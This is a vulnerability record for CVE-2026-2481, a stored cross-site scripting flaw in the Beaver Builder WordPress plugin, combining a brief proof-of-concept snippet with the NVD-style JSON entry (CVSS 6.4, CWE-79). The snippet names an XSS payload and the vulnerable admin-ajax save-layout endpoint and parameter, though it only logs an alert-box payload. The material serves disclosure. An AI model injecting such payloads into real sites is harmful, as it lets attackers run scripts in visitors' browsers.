CVE-2026-2481

<!-- PoC for CVE-2026-2481 Description: Inject malicious script into the 'settings[js]' parameter. --> <script> // Simulate the payload injection var exploitPayload = '<img src=x onerror=alert("CVE-2026-2481")>'; // Hypothetical POST request to vulnerable endpoint // POST /wp-admin/admin-ajax.php?action=fl_builder_save_layout // params: { "settings[js]": exploitPayload } console.log("Payload to be injected in settings[js]: " + exploitPayload); </script>

{"cve": {"id": "CVE-2026-2481", "sourceIdentifier": "[email protected]", "published": "2026-04-08T12:16:21.280", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'settings[js]' parameter in versions up to, and including, 2.10.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b15575f-0638-40ec-b152-20ba2225a725?source=cve", "source": "[email protected]"}, {"url": "https://www.wpbeaverbuilder.com/change-logs/?utm_medium=bb-lite&utm_source=repo-readme&utm_campaign=repo-changelog-page", "source": "[email protected]"}]}}